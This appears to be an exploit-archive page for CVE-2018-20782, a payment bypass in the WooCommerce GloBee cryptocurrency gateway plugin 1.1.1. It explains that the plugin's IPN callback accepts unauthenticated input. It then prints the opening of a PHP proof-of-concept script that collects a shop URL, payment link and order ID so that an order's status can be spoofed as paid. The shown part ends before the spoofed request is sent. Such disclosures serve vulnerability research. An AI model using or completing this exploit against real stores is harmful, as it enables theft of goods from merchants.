Wordpress plugin woocommerce globee (cryptocurrency) payment gateway 1.1.1 payment bypass / unauthorized order status spoofing Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-02-18 |
Type : webapps |
Platform : php
This exploit / vulnerability Wordpress plugin woocommerce globee (cryptocurrency) payment gateway 1.1.1 payment bypass / unauthorized order status spoofing is for educational purposes only and if it is used you will do on your own risk!
Reliance on untrusted inputs (CWE-807), insufficient data verification and lack of any cryptographic authentication (hmac etc) at IPN callback (ipn_callback() function in Gateway.php at 374 line) allow remote (even unauthorized) attacker to bypass payment process and spoof real order status without actually paying for it.
Such actions like 'changin order status' normally require administrative rights. But in this case anyone can perform these actions, even with the most limited rights, therefor this issue "can" also be considered as a Privilege Escalation (CWE-269) vulnerability (but it's not quite right, imho).
*/
echo 'Payment Bypass (CVE-2018-20782) PoC by GeekHack team.'."\n";
echo 'Select any product(s) in a vulnerable store and continue checkout through payment via cryptocurrencies (GloBee Payment Gateway).'."\n\n";
$shopURL = rtrim(readline('Shop root URL (https://shop.example.com/): '), '/');
if(strpos(@get_headers($shopURL)[0], '200') === false)
die('Shop url is invalid or not exists (or request was blocked), check link format and try again.');
$paymentLink = readline('Payment link (https://globee.com/en/payment-request/XXXXXXXXXXXXXXXXXXXXXX): ');
if(preg_match('/https:\/\/globee\.com\/en\/payment-request\/(\w*)/', $paymentLink, $matches)) {
$paymentID = $matches[1];
}else{
die('Payment link is invalid, check link format and try again.');
}
$orderID = (int)readline('Order ID: ');
if(!$orderID)
die('Order ID is invalid, must be a positive integer, try again.');